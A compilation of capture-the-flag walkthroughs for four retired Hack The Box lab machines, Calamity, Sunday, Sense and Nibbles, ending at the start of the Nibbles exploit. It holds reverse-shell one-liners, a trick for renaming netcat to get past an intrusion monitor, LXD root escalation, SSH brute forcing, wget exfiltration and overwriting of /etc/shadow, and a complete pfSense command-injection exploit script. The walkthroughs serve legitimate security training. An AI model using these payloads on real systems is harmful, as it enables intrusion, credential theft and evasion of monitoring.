HTB – Calamity

Today we are going to solve another CTF challenge “Calamity” which is available online for those who want to increase their skill in penetration testing and black box testing. Shrek is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.27 so let’s begin with nmap port enumeration.

c:\Users\jacco>nmap -sV -sC -oN nmap 10.10.10.27
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-19 13:40 W. Europe Standard Time
Nmap scan report for 10.10.10.27
Host is up (0.027s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:46:31:9c:b5:71:c5:96:91:7d:e4:63:16:f9:59:a2 (RSA)
| 256 10:c4:09:b9:48:f1:8c:45:26:ca:f6:e1:c2:dc:36:b9 (ECDSA)
|_ 256 a8:bf:dd:c0:71:36:a8:2a:1b:ea:3f:ef:66:99:39:75 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Brotherhood Software
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.87 seconds

We don’t find anything on the homepage so we use gobuster to enumerate the directories.

root@kali ~ $ gobuster -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.27/ -o ./gobuster.php.log
/uploads (Status: 301)
/admin.php (Status: 200)

The uploads folder is empty and does not really help. However, the admin page is quite interesting. It prompts for a password and username. SQL injection might be the next thing to try, but in this case, merely looking at the HTML source is enough. You can find a password in the comments. You can also see the labels of username and password are switched, i.e., you have to put the password into the username field and vice versa.

The comments reveal only a password but no user. It is not hard to guess the username though since it is “admin” (probably most people’s first try).

Login page for admin area. Password is hidden in HTML comments. Username must be guessed.

From RCE to shell

After login, you get to a page with a lot of strange text. At the bottom, there is a form field with a button which invites you to submit some HTML. If you do, you see it rendered on the page. The text also mentions PHP.

If you try to submit some PHP rather than HTML, you see it gets evaluated too. This gets us immediate code execution. To test, list the current directory:

Inject PHP code into the form to execute code on the host.

Since we have code execution, it’s time to get a shell. Pick a webshell from pentestmonkey and run a system call through PHP like so: <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 443 >/tmp/f') ?>. Before submitting it, don’t forget to run netcat locally to catch the shell.

c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.27: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.27] 49486: NO_DATA
/bin/sh: 0: can't access tty; job control turned off
$
c:\Users\jacco>

It works, but the shell is killed immediately after the connection is established. We must stick to the web shell for now and find out why this is happening. Look around in the home directory of user xalvas, which is full of interesting files (<?php system('ls -lah /home/xalvas') ?>). In particular, there is a file called INTRUSIONS, which appears to list intrusion attempts the system has identified. Open it with <?php system('cat /home/xalvas/intrusions') ?> and you see:

[...]
POSSIBLE INTRUSION BY BLACKLISTED PROCCESS python3 ...PROCESS KILLED AT 2019-03-18 14:30:26.855954 POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc ...PROCESS KILLED AT 2019-03-19 08:03:54.722584 

Comparing against the date with <?php system('ls -lah /home/xalvas') ?>, which prints Sun Jan 21 16:24:44 EST 2018, we can see that this linewas likely produced due to our use of nc. Assuming intrusions are detected by comparing filename to a blacklist, all we have to do is create a version of nc with a harmles name:

  1. <?php system('which nc') ?> -> /bin/nc finds the binary
  2. <?php system('cp /bin/nc /dev/shm/harmless') ?> copies it to a temp folder
  3. <?php system('chmod +x /dev/shm/harmless') ?> ensures the new file is executable
  4. <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/dev/shm/harmless 10.10.14.20 443 >/tmp/f') ?> tries again to get a shell with the copied version of nc (don’t forget your local nc listener)

Now we get a shell which is not detected.

c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.27: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.27] 49494: NO_DATA
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@calamity:/var/www/html$

Audio steganography

Further inspecting the home folder, we find several interesting WAV files. To find out more about them, we have to copy them over to our own machine. This is done quickly with our harmless nc binary.

For example, this is how to copy the file /home/xalvas/recov.wav:

  • locally, run nc -lnvp 1235 | base64 -d > recov.wav
  • remotely, run base64 recov.wav | /dev/shm/harmless -w 3 10.10.14.20 1235

It’s best to pipe the files through base64 as otherwise the files can easily get corrupted. Calculate MD5 sums on both machines to make 100% sure it worked correctly. The following MD5 sums are correct:

root@kali ~/calamity/files $ md5sum *
a2c5f6ad4eee01f856348ec1e2972768  recov.wav
a69077504fc70a0bd5a0e9ed4982a6b7  rick.wav
553da35f2ea5e410f48762d6347ea5b8  xouzouris.mp3

If you listen to the 3 files, you notice two of them sound as if they are the same. The MD5 sums though demonstrate they are different.

A popular steganography trick is to apply small, unnoticeable changes to media files that only make sense when comparing the result to the original file. With WAV files, it can be done as follows. You record a secret piece of audio that is relatively silent compared to another audio cover file, then add your secret file to the cover file. To recover the secret file, compare the result to the original cover. If you invert either of the files and add them, you get back the secret audio.

Load both wav files into audacity, invert one, then export the combination of both (result on right side).

Having that done, we can listen to a voice reading out numbers. It starts with a few things, followed by a long period of silence, and then part two. This leaves us with two options for the password:

  • as read out by the voice: ???
  • 2nd part first, then 1st part: 18547936..*

We can try both passwords on SSH for both the root and xalvas user. The combination xalvas and 18547936..* works and we get in.

Privesc with LXD/LXC

With SSH access, we can do some basic enumeration for the user and the system. Doing so, we stumble upon a pretty simple and likely unintended privesc. The actual, intended way would be by exploiting a vulnerable binary located at /home/xalvas/app/goodluck. It is pretty tough though and I only describe the easy LXD-based way here. Check out the links at the bottom for other write-ups which contain walkthroughs for the buffer overflow.

xalvas@calamity:~$ id
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
xalvas@calamity:~$ uname -a
Linux calamity 4.4.0-81-generic #104-Ubuntu SMP Wed Jun 14 08:15:00 UTC 2017 i686 i686 i686 GNU/Linux

We notice xalvas is member of the lxd group. Like with most container technologies (e.g.,), you can run processes with root privileges via LXD. Thus, being member of groups like lxd are more or less equivalent to being root. Here is a blog post with some details on how to exploit this group membership.

The privesc requires to run a container with elevated privileges and mount the host filesystem inside. Running containers requires an image on the machine. Since we do not have an internet connection on the machine, we have to copy over an image. The outline is as follows

  1. Build an image locally and copy image to remote host
  2. Import image into LXD, create a container and mount host filesystem
  3. Run a shell inside the container and get flag

Prepare image

Alpine is a popular Linux distribution to base container images on since it is so small. Unlike other operating systems, which may result in a few hundred megs, Alpine images are often rather small. In this repository you can find a simple script to build a container. Clone it, cd into it, then run ./build-alpine -a i686 and a tar file alpine-v3.7-i686-20180121_1729.tar.gz will appear.

With SSH access, copying is as easy as running scp alpine-v3.7-i686-20180121_1729.tar.gz xalvas@10.10.10.27:/dev/shm/.tmp/alpine.tar.gz.

Prepare container

Importing tar files as images is explained here. The steps are as follows:

xalvas@calamity:/dev/shm/.tmp$ lxc image import ./alpine.tar.gz --alias myimage
Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: facaf59235080f8c950f700f1c0a9e65a7487901dfc30d04bd78bba7444df4b0
xalvas@calamity:/dev/shm/.tmp$ lxc image list
+---------+--------------+--------+------------------------------+------+--------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |         DESCRIPTION          | ARCH |  SIZE  |         UPLOAD DATE          |
+---------+--------------+--------+------------------------------+------+--------+------------------------------+
| myimage | facaf5923508 | no     | alpine v3.7 (20180121_17:29) | i686 | 2.37MB | Jan 21, 2018 at 8:06pm (UTC) |
+---------+--------------+--------+------------------------------+------+--------+------------------------------+

The output above asks us to run lxd init but if we try, it tells us we should sudo, which we can’t do. Fortunately, it will work without, so it’s ok to ignore.

We proceed by creating the container. The important part about it is using the flag security.privileged=true, which causes the container to interact as root with the host filesystem. This means all we have to do it mount the whole filesystem into the container and we get access to everything.

xalvas@calamity:/dev/shm/.tmp$ lxc init myimage mycontainer -c security.privileged=true
Creating mycontainer
xalvas@calamity:/dev/shm/.tml$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer
xalvas@calamity:/dev/shm/.tmp$ lxc list
+-------------+---------+------+------+------------+-----------+
|    NAME     |  STATE  | IPV4 | IPV6 |    TYPE    | SNAPSHOTS |
+-------------+---------+------+------+------------+-----------+
| mycontainer | STOPPED |      |      | PERSISTENT | 0         |
+-------------+---------+------+------+------------+-----------+

Run shell

The last part is starting the container and executing a shell inside. We can then change into the rooted host filesystem and cat out the flag.

xalvas@calamity:/dev/shm/.tmp$ lxc start mycontainer
xalvas@calamity:/dev/shm/.tmp$ lxc exec mycontainer /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # ls -la /mnt/root/
total 108
drwxr-xr-x   22 root     root          4096 Jun 29  2017 .
drwxr-xr-x    3 root     root          4096 Jan 23 20:20 ..
drwxr-xr-x    2 root     root          4096 Jun 28  2017 bin
drwxr-xr-x    3 root     root          4096 Jun 27  2017 boot
drwxr-xr-x   18 root     root          3880 Jan 21 22:26 dev
drwxr-xr-x   96 root     root          4096 Jun 28  2017 etc
[...]
~ # cat /mnt/root/root/root.txt
9be*****43c

Buffer overflow

If you are a container expert, chances are you would have taken another much harder path. A simple search for SUID binaries delivers the following result:

xalvas@calamity:~$ find / -perm -4000 2>/dev/null
/home/xalvas/app/goodluck
/bin/ping6
/bin/umount
/bin/mount
[...]

A file called goodluck sounds like you are supposed to exploit it. And indeed, it is possible.

Links

If you are interesting in other tools or, in particular, in the buffer overflow, check out this or this for two excellent walkthroughs. you should definitely watch this video by Ippsec, who has great tutorials on all the retired machines.


Author:  Dominic Breuker

HTB – Sunday

Today we are going to solve another CTF challenge “Sunday. Sunday is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Easy

Task: find user.txt and root.txt file in the victim’s machine.

Let’s start off with scanning the network to find our target.

c:\Users\jacco>nmap -p- -A 10.10.10.76 --open
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-14 20:56 W. Europe Standard Time
Nmap scan report for 10.10.10.76
Host is up (0.022s latency).
Not shown: 63170 filtered ports, 2360 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
79/tcp open finger Sun Solaris fingerd
| finger: Login Name TTY Idle When Where\x0D
|_sunny sunny pts/2 6 Thu 19:03 10.10.14.20 \x0D
111/tcp open rpcbind 2-4 (RPC #100000)
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
61851/tcp open smserverd 1 (RPC #100155)
63175/tcp open unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=3/14%OT=79%CT=6%CU=42216%PV=Y%DS=2%DC=T%G=Y%TM=5C8AB26
OS:F%P=i686-pc-windows-windows)SEQ(SP=92%GCD=1%ISR=A3%TI=I%CI=I%II=I%SS=S%T
OS:S=7)SEQ(TI=I%CI=I%II=I%SS=S%TS=7)SEQ(CI=I%II=I)OPS(O1=NNT11M54DNW0NNS%O2
OS:=NNT11M54DNW0NNS%O3=NNT11M54DNW0%O4=NNT11M54DNW0NNS%O5=NNT11M54DNW0NNS%O
OS:6=NNT11M54DNNS)WIN(W1=C265%W2=C265%W3=C1CC%W4=C068%W5=C068%W6=C0B7)ECN(R
OS:=Y%DF=Y%T=3C%W=C421%O=M54DNW0NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=3C%S=O%A=S+%F=AS%
OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R
OS:%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=Y%T=FF%IPL=70%UN=0%RIPL=G%RID=G%RIPCK=G%RUC
OS:K=G%RUD=G)IE(R=Y%DFI=Y%T=FF%CD=S)

Network Distance: 2 hops
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 37.00 ms 10.10.14.1
2 38.00 ms 10.10.10.76

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.41 seconds

So here, we notice very interesting result from nmap scan, here it shown port 79 is open for Sun Solaris fingered.  So I Googled for its exploit and found Metasploit exploit “Finger Service User Enumerator”.

Then I load Metasploit framework for Identify valid users through the finger service using a variety of tricks and therefore, use the following module.

Exploit

So, basically it reviled so many usernames which it has found, now make a dictionary of the obtain username and password that will be helpful in SSH login brute force.

Here we have used “patator” for SSH login to launch brute force on port 22022 and execute the following command.

root@kali:~/htb/sunny# patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0 0=probable-v2-top15575.txt persistent=0
16:18:12 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2019-03-14 16:18 EDT
16:18:12 patator    INFO -                                                                              
16:18:12 patator    INFO - code  size    time | candidate                          |   num | mesg
16:18:12 patator    INFO - -----------------------------------------------------------------------------
16:18:13 patator    INFO - 1     22     0.253 | 123456                             |     1 | Authentication failed.
16:18:13 patator    INFO - 1     22     0.195 | 123456789                          |     3 | Authentication failed.
16:18:13 patator    INFO - 1     22     0.197 | password                           |     2 | Authentication failed.
16:18:14 patator    INFO - 1     22     0.194 | 12345                              |     5 | Authentication failed.
16:18:14 patator    INFO - 1     22     0.190 | qwerty                             |     6 | Authentication failed.
--snip--
16:18:17 patator    INFO - 1     22     0.220 | 654321                             |    14 | Authentication failed.
16:18:17 patator    INFO - 1     22     0.190 | superman                           |    23 | Authentication failed.
16:18:17 patator    INFO - 0     19     0.224 | sunday                             |    22 | SSH-2.0-Sun_SSH_1.3
16:18:17 patator    INFO - 1     22     0.220 | internet                           |    25 | Authentication failed.
16:18:18 patator    INFO - 1     22     0.201 | iloveyou                           |    26 | Authentication failed.
16:18:18 patator    INFO - 1     22     0.195 | michael                            |    24 | Authentication failed.
16:18:18 patator    INFO - Hits/Done/Skip/Fail/Size: 26/26/0/0/26, Avg: 4 r/s, Time: 0h 0m 6s

Password:  sunday

But when we try to login into ssh by using above credential, it gave “no matching key exchange method found” error and also put some hint and drop the connection request.

Then with little more research, I edit the following key to connect SSH and luckily obtain tty shell access.

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.10.10.76 -p22022

sudo -l
Then I check sudo -l right for user sunny and notice he can run /root/troll as root without a password.Lol!! Executing /root/troll was a troll.
Further, I check the list for available list and directories, luckily I found shadow.backup inside the /backup directory.

Inside shadow.backup, I found hashes for users Sammy and Sunny.

PS C:\Users\jacco> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.10.10.76 -p22022
Password: sunday
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
(root) NOPASSWD: /root/troll
sunny@sunday:~$ ls
Desktop Documents Downloads local.cshrc local.login local.profile Public
sunny@sunday:~$ cd /
sunny@sunday:/$ ls
backup boot dev etc home lib media net platform root sbin tmp var
bin cdrom devices export kernel lost+found mnt opt proc rpool system usr
sunny@sunday:/$ cd backup
sunny@sunday:/backup$ ls
agent22.backup shadow.backup
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
sunny@sunday:/backup$

So we try to crack these hashes by using john the ripper and fortunately obtained the password in plaintext format “cooldude!” of user sammy.

Privilege Escalation Techniques

The pfexec program is used to execute commands with the attributes specified by the user’s profiles in the exec_attr(4) database. It is invoked by the profile shells, pfsh, pfcsh, and pfksh which are linked to the Bourne shell, C shell, and Korn shell, respectively.

sunny@sunday:/root# find / -perm -u=s -type f 2>/dev/null
/usr/sbin/traceroute
/usr/sbin/pmconfig
/usr/sbin/deallocate
/usr/sbin/i86/whodo
/usr/sbin/allocate
/usr/xpg4/bin/crontab
/usr/xpg4/bin/at
/usr/bin/stclient
/usr/bin/sys-suspend
/usr/bin/rsh
/usr/bin/crontab
/usr/bin/rdist
/usr/bin/sudo
/usr/bin/lpset
/usr/bin/amd64/w
/usr/bin/amd64/uptime
/usr/bin/amd64/newtask
/usr/bin/chkey
/usr/bin/login
/usr/bin/pfexec
/usr/bin/newgrp

Now execute the following command to obtain root privilege shell.

sunny@sunday:/backup$ pfexec bash
sunny@sunday:/backup# id
uid=0(root) gid=0(root) groups=10(staff)
sunny@sunday:/backup# cd /root
sunny@sunday:/root# cat root.txt
fb4*****9b8

Method 2

Now let’s switch from Sunny to Sammy and figure-out assigned sudo permission for him.

sunny@sunday:/backup$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget

As we know that the sudo permission is available for the wget, thus we can use post-file option method to send the contents of any file for example /etc/password or /etc/shadow files.

Therefore we execute the following command to post shadow file content on our local listening machine.

sunny@sunday:~# sudo /usr/bin/wget --post-file=/etc/shadow 10.10.14.20
--19:37:03-- http://10.10.14.20/
=> `index.html'
Connecting to 10.10.14.20:80... connected.
HTTP request sent, awaiting response...
c:\Users\jacco>nc -lvp 80
listening on [any] 80 ...
10.10.10.76: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.76] 48158: NO_DATA
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.20
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 634

root:$5$WVmHMduo$nI.KTRbAaUv1ZgzaGiHhpA2RNdoo3aMDgPBL25FZcoD:14146::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
dladm:*LK*:::::::
smmsp:NP:6445::::::
listen:*LK*:::::::
gdm:*LK*:::::::
zfssnap:NP:::::::
xvm:*LK*:6445::::::
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

From the given image, you can observe that we have obtained the hash value of the root user. Either you can crack the hash value or can modify it.

So we have copied the above content in a text file and so that we can replace the hash value of user: root from the hash value of user: sunny.

Now download the above-modified shadow file in its original path i.e. /etc/shadow, so that it will overwrite the original shadow file.

sudo /usr/bin/wget 10.10.14.6/shadow -O /etc/shadow

Method 3

Similarly, we can also post the content of the root.txt file directly to the listening machine.

sunny@sunday:~# sudo /usr/bin/wget --post-file=/root/root.txt 10.10.14.20
--19:45:30-- http://10.10.14.20/
=> `index.html'
Connecting to 10.10.14.20:80... connected.
HTTP request sent, awaiting response...
c:\Users\jacco>nc -lvp 80
listening on [any] 80 ...
10.10.10.76: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.76] 35773: NO_DATA
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.20
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

fb4*****9b8

HTB – Sense

Today we are going to solve another CTF challenge “Sense” which is available online for those who want to increase their skill in penetration testing and black box testing. sense is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Sense craft which is designed for beginners.

Level: Intermediate

Task: find user.txt and root.txt file in the victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.60 so let’s begin with nmap port enumeration.

C:\Users\jacco>nmap -sC -sV 10.10.10.60
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-13 19:23 W. Europe Standard Time
Nmap scan report for 10.10.10.60
Host is up (0.025s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open ssl/http lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.07 seconds

Knowing port 80 is open in victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue on its PF Sense Login Portal for next step.

Now we have this Login Portal using DirBuster Tool. As you can see we have given Target IP https://10.10.10.60/ in the Target URL option. And we have given the path of the directory we want to enumerate which is /usr/share/wordlists/disbuster/directory-list-2-3-medium.txt.  In File Extension option we have given the format of the file which is txt. Then Click on start for BruteForcing.

After going through all the directories and file’s we came up with a conclusion that system-users.txt has the clue for our next step.

Now we have simply accessed the file using the browser by giving an input of https://10.10.10.60/system-users.txt, what we saw was a Username and Password which can be used to an accessed Sense Login portal. But giving these inputs didn’t actually log us in.

This made us curious, then we decided to take a little help from google. We searched for the default username and password for PFSENSE. The result we got can be seen in the image below.

Then we have given username as rohit and password as pfsense. Where r is in small letter these credentials have successfully logged us into the pfsense portal.

We figured out that we should try searching for the pfsense version which is 2.1.3 on google. And as usual, it came out to be a Remote Command Execution Exploit.

exploitdb python script

The script can be located here.

#!/usr/bin/env python3

# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
# Date: 2018-01-12
# Exploit Author: absolomb
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
# Version: <=2.1.3
# Tested on: FreeBSD 8.3-RELEASE-p16
# CVE : CVE-2014-4688

import argparse
import requests
import urllib
import urllib3
import collections

'''
pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
This script will return a reverse shell on specified listener address and port.
Ensure you have started a listener to catch the shell before running!
'''

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--lhost', help = 'Local Host listener')
parser.add_argument('--lport', help = 'Local Port listener')
parser.add_argument("--username", help = "pfsense Username")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()

rhost = args.rhost
lhost = args.lhost
lport = args.lport
username = args.username
password = args.password


# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)


payload = ""

# encode payload in octal
for char in command:
	payload += ("\\" + oct(ord(char)).lstrip("0o"))

login_url = 'https://' + rhost + '/index.php'
exploit_url = "https://" + rhost + "/status_rrd_graph_img.php?database=queues;"+"printf+" + "'" + payload + "'|sh"

headers = [
	('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
	('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
	('Accept-Language', 'en-US,en;q=0.5'),
	('Referer',login_url),
	('Connection', 'close'),
	('Upgrade-Insecure-Requests', '1'),
	('Content-Type', 'application/x-www-form-urlencoded')
]

# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)

# Disable insecure https connection warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

client = requests.session()

# try to get the login page and grab the csrf token
try:
	login_page = client.get(login_url, verify=False)

	index = login_page.text.find("csrfMagicToken")
	csrf_token = login_page.text[index:index+128].split('"')[-1]

except:
	print("Could not connect to host!")
	exit()

# format login variables and data
if csrf_token:
	print("CSRF token obtained")
	login_data = [('__csrf_magic',csrf_token), ('usernamefld',username), ('passwordfld',password), ('login','Login') ]
	login_data = collections.OrderedDict(login_data)
	encoded_data = urllib.parse.urlencode(login_data)

# POST login request with data, cookies and header
	login_request = client.post(login_url, data=encoded_data, cookies=client.cookies, headers=headers)
else:
	print("No CSRF token!")
	exit()

if login_request.status_code == 200:
		print("Running exploit...")
# make GET request to vulnerable url with payload. Probably a better way to do this but if the request times out then most likely you have caught the shell
		try:
			exploit_request = client.get(exploit_url, cookies=client.cookies, headers=headers, timeout=5)
			if exploit_request.status_code:
				print("Error running exploit")
		except:
			print("Exploit completed")
usage: exploit.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
                  [--username USERNAME] [--password PASSWORD]
root@kali:~/htb/sense# python3 exploit.py --rhost 10.10.10.60 --lhost 10.10.14.20 --lport 443 --username rohit --password pfsense
CSRF token obtained
Running exploit...
Exploit completed
root@kali:~/htb/sense# nc -lvp 443
listening on [any] 443 ...
10.10.10.60: inverse host lookup failed: Unknown host
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.60] 25568
sh: can't access tty; job control turned off
# python -c "import pty; pty.spawn('/bin/sh')" 
# whoami
whoami
root

Author: Jacco Straathof

HTB – Nibbles

Today we are going to solve another CTF challenge “Nibble” which is categories as retired lab presented by Hack the Box for making online penetration practices.

Level: Easy

Task: find user.txt and root.txt file on the victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Nibble is 10.10.10.75 so let’s initiate with nmap port enumeration.

c:\Users\jacco>nmap -T4 -sC -sV 10.10.10.75
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-12 21:23 W. Europe Standard Time
Nmap scan report for 10.10.10.75
Host is up (0.031s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.25 seconds

The Port 80 is open so let’s open IP in out Browser to see that if a website is hosted on the IP. After opening the IP in the browser, we were greeted by the following page.

Then we use curl to send http request on http://10.10.10.75 and notice /nibbleblog/ which could be any web directory.

c:\Users\jacco>curl -v http://10.10.10.75
* Rebuilt URL to: http://10.10.10.75/
* Trying 10.10.10.75...
* TCP_NODELAY set
* Connected to 10.10.10.75 (10.10.10.75) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.75
> User-Agent: curl/7.55.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 13 Mar 2019 17:25:49 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
< ETag: "5d-5616c3cf7fa77"
< Accept-Ranges: bytes
< Content-Length: 93
< Vary: Accept-Encoding
< Content-Type: text/html
<
<b>Hello world!</b>


<!-- /nibbleblog/ directory. Nothing interesting here! -->
* Connection #0 to host 10.10.10.75 left intact

So we execute the http://10.10.10.75/nibbleblog/ directory put us on the main page of a blogging platform NibbleBlog Yum Yum.

We find the Admin Panel on:

http://10.10.10.75/nibbleblog/admin.php

Exploitation

After a couple of tests we find the credentials:

admin:nibbles

As we see on Settings, the version is: Nibbleblog 4.0.3 “Coffee”
We look for exploits for that version: https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html

Proof of Concept

